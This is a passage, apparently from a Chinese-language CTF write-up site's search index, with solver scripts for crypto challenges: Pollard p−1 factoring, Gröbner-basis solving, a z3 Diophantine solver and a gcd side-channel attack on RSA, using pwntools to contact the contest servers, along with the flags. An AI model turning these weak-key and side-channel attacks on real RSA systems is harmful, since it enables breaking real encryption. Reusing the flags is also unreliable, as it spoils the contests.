\uff0c\u8ba1\u7b97 \\(g=gcd((a^{M}-1\\ mod\\ n), n)\\) \u6765\u5206\u89e3 \\(n\\) \\(p\\) \u662f \\(n\\) \u7684\u4e00\u4e2a\u8d28\u56e0\u6570\uff0c\u82e5 \\(p-1\\) \u7684\u6bcf\u4e00\u4e2a\u56e0\u6570 \\(s\\) \u90fd\u6ee1\u8db3 \\(s\\le B\\) \uff08 \\(B\\) \u4eba\u4e3a\u9009\u5b9a\uff09\uff0c\u663e\u7136\u6709 \\((p-1)|B!\\) \uff0c \\(M\\) \u5b9a\u4e49\u4e3a \\(\\prod_{primes\\ s\\le B}s^{\\lfloor log_s B\\rfloor}\\) \uff0c\u82e5 \\(g=1\\) \u6216 \\(g=n\\) \u5219\u91cd\u65b0\u9009\u62e9 \\(B\\) \u8fdb\u884c\u8ba1\u7b97 \u6839\u636e\u8d39\u9a6c\u5c0f\u5b9a\u7406\u6709 \\(a^{k(p-1)}\\equiv 1\\ (mod\\ p)\\) \u82e5\u4e00\u4e2a\u6570 \\(x\\) \u6a21 \\(p\\) \u4f59 \\(1\\) \uff0c\u90a3\u4e48 \\(p|gcd(x-1,n)\\) \\(\\lambda(\\lambda(n))=\\lambda(lcm(p-1,q-1))=\\lambda(s_1s_2\\dotsb s_k)=lcm(s_1-1,s_2-1,\\dotsb,s_k-1)\\) \uff0c\u663e\u7136\uff0c \\((s_i-1)|R\\) \uff0c\u90a3\u4e48\u53ef\u7531 \\(R\\) \u8d28\u56e0\u6570\u5206\u89e3\u7ed3\u679c\u5f97\u51fa \\(s_i\\) \u7684\u5019\u9009\u96c6\uff0c\u5373 \\(p-1\\) \u548c \\(q-1\\) \u7684\u8d28\u56e0\u6570\u5019\u9009\u96c6\uff0c\u7ed3\u5408 Pollard \u7684 \\(p-1\\) \u8d28\u56e0\u6570\u5206\u89e3\u7b97\u6cd5\u8fdb\u884c\u6c42\u89e3 from factordb.factordb import FactorDB from sympy import isprime from math import gcd from Crypto.Util.number import long_to_bytes def factor_n ( primes ): m = 2 for p in primes : m = pow ( m , p , n ) g = gcd ( m - 1 , n ) if 1 < g < n : return g , n // g e = 65537 n = 0x99efa9177387907eb3f74dc09a4d7a93abf6ceb7ee102c689ecd0998975cede29f3ca951feb5adfb9282879cc666e22dcafc07d7f89d762b9ad5532042c79060cdb022703d790421a7f6a76a50cceb635ad1b5d78510adf8c6ff9645a1b179e965358e10fe3dd5f82744773360270b6fa62d972d196a810e152f1285e0b8b26f5d54991d0539a13e655d752bd71963f822affc7a03e946cea2c4ef65bf94706f20b79d672e64e8faac45172c4130bfeca9bef71ed8c0c9e2aa0a1d6d47239960f90ef25b337255bac9c452cb019a44115b0437726a9adef10a028f1e1263c97c14a1d7cd58a8994832e764ffbfcc05ec8ed3269bb0569278eea0550548b552b1 ct = 0x339be515121dab503106cd190897382149e032a76a1ca0eec74f2c8c74560b00dffc0ad65ee4df4f47b2c9810d93e8579517692268c821c6724946438a9744a2a95510d529f0e0195a2660abd057d3f6a59df3a1c9a116f76d53900e2a715dfe5525228e832c02fd07b8dac0d488cca269e0dbb74047cf7a5e64a06a443f7d580ee28c5d41d5ede3604825eba31985e96575df2bcc2fefd0c77f2033c04008be9746a0935338434c16d5a68d1338eabdcf0170ac19a27ec832bf0a353934570abd48b1fe31bc9a4bb99428d1fbab726b284aec27522efb9527ddce1106ba6a480c65f9332c5b2a3c727a2cca6d6951b09c7c28ed0474fdc6a945076524877680 R = 2 * ( 2 ** 1024 - 1 ) f = FactorDB ( R ) f . connect () factors = f . get_factor_list () prods = { 1 } for f in factors : prods |= { f * x for x in prods } primes = [ p + 1 for p in prods if isprime ( p + 1 )] p , q = factor_n ( primes ) d = pow ( e , - 1 , ( p - 1 ) * ( q - 1 )) m = pow ( ct , d , n ) print ( long_to_bytes ( m ))","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/cycling/#flag","text":"CTF{Recycling_Is_Great}","title":"Flag"},{"location":"crypto/cycling/#_3","text":"Intended Solution Carmichael function - Wikipedia Pollard's p \u2212 1 algorithm - Wikipedia","title":"\u53c2\u8003\u8d44\u6599"},{"location":"crypto/dealymaffs/","text":"\u9898\u76ee \u00b6 #!sage from Crypto.Util.number import inverse , bytes_to_long , getPrime FLAG = b \"[REDACTED]\" step = len ( FLAG ) // 3 parts = [] for i in range ( 0 , len ( FLAG ), step ): parts . append ( bytes_to_long ( FLAG [ i : i + step ])) P = 71438829955248006563930557910994159568699947908111673792342752884287610505363 ZmodP = Zmod ( P ) x , y , z = parts x , y , z = ZmodP ( x ), ZmodP ( y ), ZmodP ( z ) assert x ^ 3 + z ^ 2 + y == 66394136981860516361851354749859612266004193813290269649537881228428968257460 assert y ^ 3 + x ^ 2 + z == 56417157666649050976546805407267029231007861216965940838682304201229073647799 assert z ^ 3 + y ^ 2 + x == 58104989704612501066634459111657336494541502098206428113992326325857090556559 assert x + y + z == 1575390570296234165094105579834233267605062475793 \u89e3\u9898\u601d\u8def \u00b6 \u901a\u8fc7 Gr\u00f6bner \u57fa\u89e3\u591a\u9879\u5f0f\u65b9\u7a0b\u7ec4 \ud83d\udccc #!sage from Crypto.Util.number import long_to_bytes P = 71438829955248006563930557910994159568699947908111673792342752884287610505363 a = [ 66394136981860516361851354749859612266004193813290269649537881228428968257460 , 56417157666649050976546805407267029231007861216965940838682304201229073647799 , 58104989704612501066634459111657336494541502098206428113992326325857090556559 , 1575390570296234165094105579834233267605062475793 , 4726171710888702495282316739502699802815187427379 ] R .< x , y , z > = PolynomialRing ( FiniteField ( P )) # \u65b9\u7a0b\u7b49\u53f7\u53f3\u4fa7\u4e3a 0 I = Ideal ([ x ** 3 + z ** 2 + y - a [ 0 ], y ** 3 + x ** 2 + z - a [ 1 ], z ** 3 + y ** 2 + x - a [ 2 ], x + y + z - a [ 3 ]]) ans = I . variety () flag = b '' for _ , v in ans [ 0 ] . items (): flag += long_to_bytes ( int ( v )) print ( flag ) # b\"flag{___Groebner_B45iS_!s_an_Id3aL_R3aL_D34L_Isn't_IT?!#___}\" \u53c2\u8003\u8d44\u6599 \u00b6 Groebner basis to solve linear system of equations","title":"Dealymaffs"},{"location":"crypto/dealymaffs/#_1","text":"#!sage from Crypto.Util.number import inverse , bytes_to_long , getPrime FLAG = b \"[REDACTED]\" step = len ( FLAG ) // 3 parts = [] for i in range ( 0 , len ( FLAG ), step ): parts . append ( bytes_to_long ( FLAG [ i : i + step ])) P = 71438829955248006563930557910994159568699947908111673792342752884287610505363 ZmodP = Zmod ( P ) x , y , z = parts x , y , z = ZmodP ( x ), ZmodP ( y ), ZmodP ( z ) assert x ^ 3 + z ^ 2 + y == 66394136981860516361851354749859612266004193813290269649537881228428968257460 assert y ^ 3 + x ^ 2 + z == 56417157666649050976546805407267029231007861216965940838682304201229073647799 assert z ^ 3 + y ^ 2 + x == 58104989704612501066634459111657336494541502098206428113992326325857090556559 assert x + y + z == 1575390570296234165094105579834233267605062475793","title":"\u9898\u76ee"},{"location":"crypto/dealymaffs/#_2","text":"\u901a\u8fc7 Gr\u00f6bner \u57fa\u89e3\u591a\u9879\u5f0f\u65b9\u7a0b\u7ec4 \ud83d\udccc #!sage from Crypto.Util.number import long_to_bytes P = 71438829955248006563930557910994159568699947908111673792342752884287610505363 a = [ 66394136981860516361851354749859612266004193813290269649537881228428968257460 , 56417157666649050976546805407267029231007861216965940838682304201229073647799 , 58104989704612501066634459111657336494541502098206428113992326325857090556559 , 1575390570296234165094105579834233267605062475793 , 4726171710888702495282316739502699802815187427379 ] R .< x , y , z > = PolynomialRing ( FiniteField ( P )) # \u65b9\u7a0b\u7b49\u53f7\u53f3\u4fa7\u4e3a 0 I = Ideal ([ x ** 3 + z ** 2 + y - a [ 0 ], y ** 3 + x ** 2 + z - a [ 1 ], z ** 3 + y ** 2 + x - a [ 2 ], x + y + z - a [ 3 ]]) ans = I . variety () flag = b '' for _ , v in ans [ 0 ] . items (): flag += long_to_bytes ( int ( v )) print ( flag ) # b\"flag{___Groebner_B45iS_!s_an_Id3aL_R3aL_D34L_Isn't_IT?!#___}\"","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/dealymaffs/#_3","text":"Groebner basis to solve linear system of equations","title":"\u53c2\u8003\u8d44\u6599"},{"location":"crypto/diophantine/","tags":["z3"],"text":"#z3 .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u89e3\u9898\u601d\u8def \u00b6 \u5728 PoW \u4e4b\u540e\u6709\u4e24\u4e2a\u5224\u65ad\uff0c\u679a\u4e3e\u4e00\u4e0b\u5c31\u53ef\u4ee5\u77e5\u9053\u7b54\u6848 Hello Everyone, let's start to learn Equations! Now I have an elliptic curve equation: (x+1)^2 == 2(y+1)^2 - 3^2 First, tell me if there is a solution to this equation?[Y/N] Y Great! Then, tell me whether this equation has an infinite number of solutions?[Y/N] Y Very well! \u63a5\u4e0b\u6765\u624d\u662f\u91cd\u70b9\uff0c\u9700\u8981\u7ed9\u51fa \\(202\\) \u7ec4\u89e3 \u03a3\u03a3\u03a3(\u03a6 \u03c9\u03a6||\u00a1) Now, please find me the solutions to 202 point{(x, y) where x > 0, y > 0} \u4e00\u5f00\u59cb\u4ee5\u4e3a\u662f\u6839\u636e elliptic curve equation: (x+1)^2 == 2(y+1)^2 - 3^2 \u627e\u5bf9\u5e94\u692d\u5706\u66f2\u7ebf\u53ca\u5176\u4e0a\u7684\u70b9\uff0c\u4f46\u662f\u692d\u5706\u66f2\u7ebf\u4e00\u822c\u662f \\(y^2=x^3+ax+b\\) \u7684\u5f62\u5f0f\uff0c \\((x+1)^2 == 2(y+1)^2 - 3^2\\) \u600e\u4e48\u53d8\u5f62\u90fd\u4e0d\u50cf \u540e\u6765\u610f\u8bc6\u5230\u692d\u5706\u66f2\u7ebf\u65b9\u7a0b\u53ef\u80fd\u6307\u70b9\u7684\u5750\u6807\u4e3a\u6574\u6570\uff0c\u76f4\u63a5\u7528 z3 \u89e3\u65b9\u7a0b\u5e94\u8be5\u884c from z3 import * x , y = Ints ( 'x y' ) s = Solver () s . add (( x + 1 ) ** 2 == 2 * ( y + 1 ) ** 2 - 9 ) s . add ( x > 0 , y > 0 ) for _ in range ( 202 ): s . check () m = s . model () print ( f ' { m [ x ] } , { m [ y ] } ' ) s . add ( x > m [ x ], y > m [ y ]) \u4f46\u662f\u83b7\u5f97\u4e86\u51e0\u7ec4\u89e3\u4e4b\u540e\uff0c\u901f\u5ea6\u5c31\u6162\u4e0b\u6765\u4e86 :( \u60f3\u7740\u753b\u4e00\u4e0b\u66f2\u7ebf\u56fe\uff08\u5176\u5b9e\u6ca1\u5fc5\u8981 > <\uff09\uff0c\u603b\u4e4b\u5c31\u662f\u4e24\u6761\u589e\u957f\u901f\u5ea6\u4e0d\u4e00\u6837\u7684\u66f2\u7ebf g1 = plot (( x + 1 ) ** 2 , 0 , 100 ) g2 = plot ( 2 * ( x + 1 ) ** 2 - 9 , 0 , 100 , linestyle = \"--\" ) ( g1 + g2 ) . show () \u518d\u56de\u8fc7\u5934\u770b\u770b\u5df2\u7ecf\u83b7\u5f97\u7684\u89e3\uff0c\u5f88\u6709\u89c4\u5f8b\u7684\u611f\u89c9(\u014f\u03c9\u014f) (2, 2) (20, 14) (122, 86) (716, 506) (4178, 2954) (24356, 17222) \u5f53 \\(i\\ge 2\\) \u65f6\uff0c\u6ee1\u8db3 \\(x_i=6\\times x_{i-1}-x_{i-2}+4\\) , \\(y_i=6\\times y_{i-1}-y_{i-2} + 4\\) from hashlib import md5 import itertools import pwn table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' conn = pwn . remote ( '39.104.61.18' , 12113 ) target = conn . recvline_contains ( 'md5' ) . decode () . strip () base = target [ target . find ( '+' ) + 2 : target . find ( ')' )] target = target [ - 5 :] for ch in itertools . permutations ( table , 4 ): m = '' . join ( ch ) + base h = md5 ( m . encode ()) . hexdigest () if ( h [: 5 ] == target ): conn . sendafter ( '>' , f ' { m [: 4 ] } \\n ' ) break conn . sendafter ( 'equation?[Y/N]' , 'Y \\n ' ) conn . sendafter ( 'solutions?[Y/N]' , 'Y \\n ' ) ans = [( 2 , 2 ), ( 20 , 14 )] while len ( ans ) < 202 : x , y = ( ans [ - 1 ][ 0 ] * 6 - ans [ - 2 ][ 0 ] + 4 ), ( ans [ - 1 ][ 1 ] * 6 - ans [ - 2 ][ 1 ] + 4 ) ans . append (( x , y )) for r in ans : conn . sendafter ( 'x=' , f ' { r [ 0 ] } \\n ' ) conn . sendafter ( 'y=' , f ' { r [ 1 ] } \\n ' ) print ( conn . recvline ()) conn . interactive ()","title":"Diophantine"},{"location":"crypto/diophantine/#_1","text":"\u5728 PoW \u4e4b\u540e\u6709\u4e24\u4e2a\u5224\u65ad\uff0c\u679a\u4e3e\u4e00\u4e0b\u5c31\u53ef\u4ee5\u77e5\u9053\u7b54\u6848 Hello Everyone, let's start to learn Equations! Now I have an elliptic curve equation: (x+1)^2 == 2(y+1)^2 - 3^2 First, tell me if there is a solution to this equation?[Y/N] Y Great! Then, tell me whether this equation has an infinite number of solutions?[Y/N] Y Very well! \u63a5\u4e0b\u6765\u624d\u662f\u91cd\u70b9\uff0c\u9700\u8981\u7ed9\u51fa \\(202\\) \u7ec4\u89e3 \u03a3\u03a3\u03a3(\u03a6 \u03c9\u03a6||\u00a1) Now, please find me the solutions to 202 point{(x, y) where x > 0, y > 0} \u4e00\u5f00\u59cb\u4ee5\u4e3a\u662f\u6839\u636e elliptic curve equation: (x+1)^2 == 2(y+1)^2 - 3^2 \u627e\u5bf9\u5e94\u692d\u5706\u66f2\u7ebf\u53ca\u5176\u4e0a\u7684\u70b9\uff0c\u4f46\u662f\u692d\u5706\u66f2\u7ebf\u4e00\u822c\u662f \\(y^2=x^3+ax+b\\) \u7684\u5f62\u5f0f\uff0c \\((x+1)^2 == 2(y+1)^2 - 3^2\\) \u600e\u4e48\u53d8\u5f62\u90fd\u4e0d\u50cf \u540e\u6765\u610f\u8bc6\u5230\u692d\u5706\u66f2\u7ebf\u65b9\u7a0b\u53ef\u80fd\u6307\u70b9\u7684\u5750\u6807\u4e3a\u6574\u6570\uff0c\u76f4\u63a5\u7528 z3 \u89e3\u65b9\u7a0b\u5e94\u8be5\u884c from z3 import * x , y = Ints ( 'x y' ) s = Solver () s . add (( x + 1 ) ** 2 == 2 * ( y + 1 ) ** 2 - 9 ) s . add ( x > 0 , y > 0 ) for _ in range ( 202 ): s . check () m = s . model () print ( f ' { m [ x ] } , { m [ y ] } ' ) s . add ( x > m [ x ], y > m [ y ]) \u4f46\u662f\u83b7\u5f97\u4e86\u51e0\u7ec4\u89e3\u4e4b\u540e\uff0c\u901f\u5ea6\u5c31\u6162\u4e0b\u6765\u4e86 :( \u60f3\u7740\u753b\u4e00\u4e0b\u66f2\u7ebf\u56fe\uff08\u5176\u5b9e\u6ca1\u5fc5\u8981 > <\uff09\uff0c\u603b\u4e4b\u5c31\u662f\u4e24\u6761\u589e\u957f\u901f\u5ea6\u4e0d\u4e00\u6837\u7684\u66f2\u7ebf g1 = plot (( x + 1 ) ** 2 , 0 , 100 ) g2 = plot ( 2 * ( x + 1 ) ** 2 - 9 , 0 , 100 , linestyle = \"--\" ) ( g1 + g2 ) . show () \u518d\u56de\u8fc7\u5934\u770b\u770b\u5df2\u7ecf\u83b7\u5f97\u7684\u89e3\uff0c\u5f88\u6709\u89c4\u5f8b\u7684\u611f\u89c9(\u014f\u03c9\u014f) (2, 2) (20, 14) (122, 86) (716, 506) (4178, 2954) (24356, 17222) \u5f53 \\(i\\ge 2\\) \u65f6\uff0c\u6ee1\u8db3 \\(x_i=6\\times x_{i-1}-x_{i-2}+4\\) , \\(y_i=6\\times y_{i-1}-y_{i-2} + 4\\) from hashlib import md5 import itertools import pwn table = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' conn = pwn . remote ( '39.104.61.18' , 12113 ) target = conn . recvline_contains ( 'md5' ) . decode () . strip () base = target [ target . find ( '+' ) + 2 : target . find ( ')' )] target = target [ - 5 :] for ch in itertools . permutations ( table , 4 ): m = '' . join ( ch ) + base h = md5 ( m . encode ()) . hexdigest () if ( h [: 5 ] == target ): conn . sendafter ( '>' , f ' { m [: 4 ] } \\n ' ) break conn . sendafter ( 'equation?[Y/N]' , 'Y \\n ' ) conn . sendafter ( 'solutions?[Y/N]' , 'Y \\n ' ) ans = [( 2 , 2 ), ( 20 , 14 )] while len ( ans ) < 202 : x , y = ( ans [ - 1 ][ 0 ] * 6 - ans [ - 2 ][ 0 ] + 4 ), ( ans [ - 1 ][ 1 ] * 6 - ans [ - 2 ][ 1 ] + 4 ) ans . append (( x , y )) for r in ans : conn . sendafter ( 'x=' , f ' { r [ 0 ] } \\n ' ) conn . sendafter ( 'y=' , f ' { r [ 1 ] } \\n ' ) print ( conn . recvline ()) conn . interactive ()","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/dynamic_rsa/","tags":["rsa","gcd","crt"],"text":"#rsa #gcd #crt .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 Nowadays, clients just keep changing their requirements! They said e=65537 is too boring for RSA and that they wanted a dynamic encryption system instead. Oh, I'll give it to them! Connect with nc litctf.live 31792 https://drive.google.com/uc?export=download&id=1JY3LfzcoIWUEhC0C8NuwO-fOwZnp3tKt \u89e3\u9898\u601d\u8def \u00b6 \u5df2\u77e5\u7ecf\u8fc7 RSA \u52a0\u5bc6\u7684 Flag \u7684\u5bc6\u6587\u53ca\u968f\u673a\u6570\u79cd\u5b50/\u52a0\u5bc6\u6307\u6570 \\(e\\) flag = open ( 'flag.txt' , 'rb' ) . read (); m = bytes_to_long ( flag ); e = 65537 ; p = getPrime ( 200 ); q = getPrime ( 200 ); random . seed ( e ); phi = ( p - 1 ) * ( q - 1 ); n = p * q ; ct = pow ( m , e , n ) print ( \"My secret flag is \" + str ( ct )); \u53ef\u4ee5\u4e0e\u670d\u52a1\u5668\u8fdb\u884c\u4e24\u79cd\u4ea4\u4e92 \u63d0\u4f9b\u79c1\u94a5\uff0c\u83b7\u5f97 Flag \u5bc6\u6587\u7684\u89e3\u5bc6\u7ed3\u679c \u63d0\u4f9b\u4efb\u610f\u6d88\u606f\uff0c\u83b7\u5f97\u300c\u6d88\u606f+\u76d0\u503c\u300d\u7684\u52a0\u5bc6\u7ed3\u679c while True : inp = input ( \"Guess Private Key (1) or Encrypt Message (2): \" ); if ( inp == \"1\" ): d = int ( input ( \"Enter Private Key: \" )); print ( long_to_bytes ( pow ( ct , d , n ))); exit () elif ( inp == \"2\" ): test_e = e_gen () # Oh great they made me change the algorithm again # They said its \"TOO BLAND\" # FINE I'll add more seasoning salt = get_random_bytes ( 8 ) . hex (); inp = bytes_to_long (( input ( \"Enter Message: \" ) + salt ) . encode ()); test_ct = pow ( inp , test_e , n ); print ( \"Your Message (remember to convert): \" + str ( test_ct )); else : print ( \"BAD OPTION\" ); exit (); \u4e0d\u8fc7\u91cd\u70b9\u5728\u51fd\u6570 e_gen \u4ee5\u53ca gcd \u3002\u968f\u673a\u6570\u79cd\u5b50\u5df2\u77e5\uff0c\u5219\u53ef\u4ee5\u6c42\u51fa test_e \u3002\u56e0\u4e3a test_e \u662f\u8d28\u6570\uff0c\u6240\u4ee5 gcd(test_e, phi) \u53ea\u6709\u4e24\u79cd\u7ed3\u679c\uff0c\u8981\u4e48\u662f \\(1\\) \uff0c\u8981\u4e48\u662f test_e \u3002\u5f53 gcd(test_e, phi) \u7684\u7ed3\u679c\u4e3a test_e \u65f6\uff0c new_e = 1 \uff0c\u6b64\u65f6\u5bc6\u6587\u4e0e\u660e\u6587\u76f8\u540c\uff0c\u53ef\u4ee5\u786e\u5b9a phi \u7684\u5176\u4e2d\u4e00\u4e2a\u56e0\u6570\u3002\u4f46\u663e\u7136\uff0c\u7ed3\u679c gcd(test_e, phi) \u4e3a \\(1\\) \u7684\u60c5\u51b5\u66f4\u591a def gcd ( a , b ): # Client said the loading screen is too boring # So they want something with more flair and movement while they wait if ( a == 0 ): return b ; if ( b == 0 ): return a ; print ( \".,\" [( b // a ) & 1 ], end = \"\" ); return gcd ( b % a , a ); # Clients keep complaining that making e always 65537 is too boring # So they changed their requirements and wanted a \"dynamic encryption system\" # I literally can't def e_gen (): print ( \"Loading\" , end = \"\" ) test_e = nextprime ( random . randint ( 1 , 100000 )); # Okay but I literally can't use a random e if gcd is not 1 # It's like most fundamental part of RSA!!! new_e = test_e // gcd ( test_e , phi ); print () return new_e \u91cd\u5199\u7684\u51fd\u6570 gcd \u7ed9\u51fa\u4e86\u6bcf\u4e00\u6b65 b // a \u7ed3\u679c\u7684\u5947\u5076\u6027\uff0c\u56e0\u4e3a\u7b2c\u4e00\u6b65 phi \u7684\u503c\u672a\u77e5\uff0c\u6240\u4ee5\u4ece\u7b2c\u4e8c\u6b65\u5f00\u59cb\u8003\u8651\uff0c\u5373 gcd(phi % test_e, test_e) \u3002 test_e \u5df2\u77e5\uff0c phi % test_e \u662f\u5c0f\u4e8e test_e \u7684\u81ea\u7136\u6570\uff0c\u4ec5\u6839\u636e\u6bcf\u4e00\u6b65 b // a \u7ed3\u679c\u7684\u5947\u5076\u6027\u662f\u6709\u4e00\u5b9a\u6982\u7387\u80fd\u591f\u786e\u5b9a phi % test_e \u7684\u3002\u4ee5 \\(13\\) \u4e3a\u4f8b gcd \u7684\u8ba1\u7b97\u7ed3\u679c\u5982\u4e0b\uff0c\u53ef\u89c1\u90e8\u5206 b // a \u5947\u5076\u6027\u7ed3\u679c\u5e8f\u5217\u4e0e phi % test_e \u6709\u4e00\u5bf9\u4e00\u6620\u5c04\u5173\u7cfb gcd(1, 13) , gcd(2, 13) .. gcd(3, 13) ., gcd(4, 13) ,. gcd(5, 13) .,,. gcd(6, 13) .. gcd(7, 13) ,,. gcd(8, 13) ,,,,. gcd(9, 13) ,.. gcd(10, 13) ,,, gcd(11, 13) ,,. gcd(12, 13) ,. \u7531\u6b64\u53ef\u5229\u7528\u4e2d\u56fd\u5269\u4f59\u5b9a\u7406\u8ba1\u7b97\u51fa phi \uff0c\u4ece\u800c\u5f97\u51fa\u79c1\u94a5 d import random , pwn from sympy import nextprime from sage.all import crt , Integer from Crypto.Util.number import inverse def gcd ( a , b ): if a == 0 or b == 0 : return '' return '.,' [( b // a ) & 1 ] + gcd ( b % a , a ) e = 65537 random . seed ( e ) state = random . getstate () gcd_res = dict () for i in set ( nextprime ( random . randint ( 1 , 100000 )) for _ in range ( 750 )): gcd_res [ i ] = [ '' ] for j in range ( 1 , i ): gcd_res [ i ] . append ( gcd ( j , i )) conn = pwn . remote ( 'litctf.live' , 31792 ) random . setstate ( state ) mo , rem = [], [] pre_crt = 0 while True : conn . sendafter ( 'Encrypt Message (2): ' , '2 \\n ' ) test_e = nextprime ( random . randint ( 1 , 100000 )) res = conn . recvline () . decode () . strip ()[ 7 :] conn . sendafter ( 'Enter Message:' , '0 \\n ' ) if len ( res ) == 1 and test_e not in mo : mo . append ( Integer ( test_e )) rem . append ( Integer ( 0 )) cur = crt ( rem , mo ) if cur == pre_crt : break pre_crt = cur if test_e in gcd_res and test_e not in mo and gcd_res [ test_e ] . count ( res [ 1 :]) == 1 : mo . append ( Integer ( test_e )) rem . append ( Integer ( gcd_res [ test_e ] . index ( res [ 1 :]))) cur = crt ( rem , mo ) if cur == pre_crt : break pre_crt = cur print ( pre_crt ) d = inverse ( e , pre_crt ) conn . sendafter ( 'Encrypt Message (2): ' , '1 \\n ' ) conn . sendafter ( 'Enter Private Key:' , f ' { d } \\n ' ) conn . interactive () Flag \u00b6 LITCTF{0op5i3_dyn4m1c_n0t_gr3at_1t_s33m5}","title":"Dynamic RSA"},{"location":"crypto/dynamic_rsa/#_1","text":"Nowadays, clients just keep changing their requirements! They said e=65537 is too boring for RSA and that they wanted a dynamic encryption system instead. Oh, I'll give it to them! Connect with nc litctf.live 31792 https://drive.google.com/uc?export=download&id=1JY3LfzcoIWUEhC0C8NuwO-fOwZnp3tKt","title":"\u9898\u76ee"},{"location":"crypto/dynamic_rsa/#_2","text":"\u5df2\u77e5\u7ecf\u8fc7 RSA \u52a0\u5bc6\u7684 Flag \u7684\u5bc6\u6587\u53ca\u968f\u673a\u6570\u79cd\u5b50/\u52a0\u5bc6\u6307\u6570 \\(e\\) flag = open ( 'flag.txt' , 'rb' ) . read (); m = bytes_to_long ( flag ); e = 65537 ; p = getPrime ( 200 ); q = getPrime ( 200 ); random . seed ( e ); phi = ( p - 1 ) * ( q - 1 ); n = p * q ; ct = pow ( m , e , n ) print ( \"My secret flag is \" + str ( ct )); \u53ef\u4ee5\u4e0e\u670d\u52a1\u5668\u8fdb\u884c\u4e24\u79cd\u4ea4\u4e92 \u63d0\u4f9b\u79c1\u94a5\uff0c\u83b7\u5f97 Flag \u5bc6\u6587\u7684\u89e3\u5bc6\u7ed3\u679c \u63d0\u4f9b\u4efb\u610f\u6d88\u606f\uff0c\u83b7\u5f97\u300c\u6d88\u606f+\u76d0\u503c\u300d\u7684\u52a0\u5bc6\u7ed3\u679c while True : inp = input ( \"Guess Private Key (1) or Encrypt Message (2): \" ); if ( inp == \"1\" ): d = int ( input ( \"Enter Private Key: \" )); print ( long_to_bytes ( pow ( ct , d , n ))); exit () elif ( inp == \"2\" ): test_e = e_gen () # Oh great they made me change the algorithm again # They said its \"TOO BLAND\" # FINE I'll add more seasoning salt = get_random_bytes ( 8 ) . hex (); inp = bytes_to_long (( input ( \"Enter Message: \" ) + salt ) . encode ()); test_ct = pow ( inp , test_e , n ); print ( \"Your Message (remember to convert): \" + str ( test_ct )); else : print ( \"BAD OPTION\" ); exit (); \u4e0d\u8fc7\u91cd\u70b9\u5728\u51fd\u6570 e_gen \u4ee5\u53ca gcd \u3002\u968f\u673a\u6570\u79cd\u5b50\u5df2\u77e5\uff0c\u5219\u53ef\u4ee5\u6c42\u51fa test_e \u3002\u56e0\u4e3a test_e \u662f\u8d28\u6570\uff0c\u6240\u4ee5 gcd(test_e, phi) \u53ea\u6709\u4e24\u79cd\u7ed3\u679c\uff0c\u8981\u4e48\u662f \\(1\\) \uff0c\u8981\u4e48\u662f test_e \u3002\u5f53 gcd(test_e, phi) \u7684\u7ed3\u679c\u4e3a test_e \u65f6\uff0c new_e = 1 \uff0c\u6b64\u65f6\u5bc6\u6587\u4e0e\u660e\u6587\u76f8\u540c\uff0c\u53ef\u4ee5\u786e\u5b9a phi \u7684\u5176\u4e2d\u4e00\u4e2a\u56e0\u6570\u3002\u4f46\u663e\u7136\uff0c\u7ed3\u679c gcd(test_e, phi) \u4e3a \\(1\\) \u7684\u60c5\u51b5\u66f4\u591a def gcd ( a , b ): # Client said the loading screen is too boring # So they want something with more flair and movement while they wait if ( a == 0 ): return b ; if ( b == 0 ): return a ; print ( \".,\" [( b // a ) & 1 ], end = \"\" ); return gcd ( b % a , a ); # Clients keep complaining that making e always 65537 is too boring # So they changed their requirements and wanted a \"dynamic encryption system\" # I literally can't def e_gen (): print ( \"Loading\" , end = \"\" ) test_e = nextprime ( random . randint ( 1 , 100000 )); # Okay but I literally can't use a random e if gcd is not 1 # It's like most fundamental part of RSA!!! new_e = test_e // gcd ( test_e , phi ); print () return new_e \u91cd\u5199\u7684\u51fd\u6570 gcd \u7ed9\u51fa\u4e86\u6bcf\u4e00\u6b65 b // a \u7ed3\u679c\u7684\u5947\u5076\u6027\uff0c\u56e0\u4e3a\u7b2c\u4e00\u6b65 phi \u7684\u503c\u672a\u77e5\uff0c\u6240\u4ee5\u4ece\u7b2c\u4e8c\u6b65\u5f00\u59cb\u8003\u8651\uff0c\u5373 gcd(phi % test_e, test_e) \u3002 test_e \u5df2\u77e5\uff0c phi % test_e \u662f\u5c0f\u4e8e test_e \u7684\u81ea\u7136\u6570\uff0c\u4ec5\u6839\u636e\u6bcf\u4e00\u6b65 b // a \u7ed3\u679c\u7684\u5947\u5076\u6027\u662f\u6709\u4e00\u5b9a\u6982\u7387\u80fd\u591f\u786e\u5b9a phi % test_e \u7684\u3002\u4ee5 \\(13\\) \u4e3a\u4f8b gcd \u7684\u8ba1\u7b97\u7ed3\u679c\u5982\u4e0b\uff0c\u53ef\u89c1\u90e8\u5206 b // a \u5947\u5076\u6027\u7ed3\u679c\u5e8f\u5217\u4e0e phi % test_e \u6709\u4e00\u5bf9\u4e00\u6620\u5c04\u5173\u7cfb gcd(1, 13) , gcd(2, 13) .. gcd(3, 13) ., gcd(4, 13) ,. gcd(5, 13) .,,. gcd(6, 13) .. gcd(7, 13) ,,. gcd(8, 13) ,,,,. gcd(9, 13) ,.. gcd(10, 13) ,,, gcd(11, 13) ,,. gcd(12, 13) ,. \u7531\u6b64\u53ef\u5229\u7528\u4e2d\u56fd\u5269\u4f59\u5b9a\u7406\u8ba1\u7b97\u51fa phi \uff0c\u4ece\u800c\u5f97\u51fa\u79c1\u94a5 d import random , pwn from sympy import nextprime from sage.all import crt , Integer from Crypto.Util.number import inverse def gcd ( a , b ): if a == 0 or b == 0 : return '' return '.,' [( b // a ) & 1 ] + gcd ( b % a , a ) e = 65537 random . seed ( e ) state = random . getstate () gcd_res = dict () for i in set ( nextprime ( random . randint ( 1 , 100000 )) for 